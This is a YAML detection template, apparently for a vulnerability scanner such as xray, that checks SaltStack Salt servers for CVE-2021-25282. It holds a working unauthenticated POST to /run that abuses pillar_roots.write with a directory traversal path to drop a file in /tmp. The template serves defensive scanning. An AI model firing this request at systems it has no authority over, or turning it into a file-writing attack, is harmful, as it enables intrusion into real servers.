CVE-2021-25282: SaltStack Salt Unautherenticated Remote Command Execution

id: CVE-2021-25282

info:
  name: SaltStack Salt Unautherenticated Remote Command Execution
  author: jweny
  severity: critical
  description: |-
    An issue was discovered in through SaltStack Salt before 3002.5. The salt.wheel.pillar_roots.write method is vulnerable to directory traversal.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25282
  tags: cve,cve2021,saltstack,rce
  created: 2021/04/20

set:
  r1: randomLowercase(5)
rules:
  r0:
    request:
      method: GET
      path: /run
    expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"wheel_async") && response.body.bcontains(b"runner_async")
  r1:
    request:
      method: POST
      path: /run
      headers:
        Content-type: application/json
      body: '{"eauth":"auto","client":"wheel_async","fun":"pillar_roots.write","data":"{{r1}}","path":"../../../../../../../../../tmp/{{r1}}"}'
    expression: response.status == 200 && response.content_type.icontains("application/json") && "salt/wheel/d*".bmatches(response.body)
expression: r0() && r1()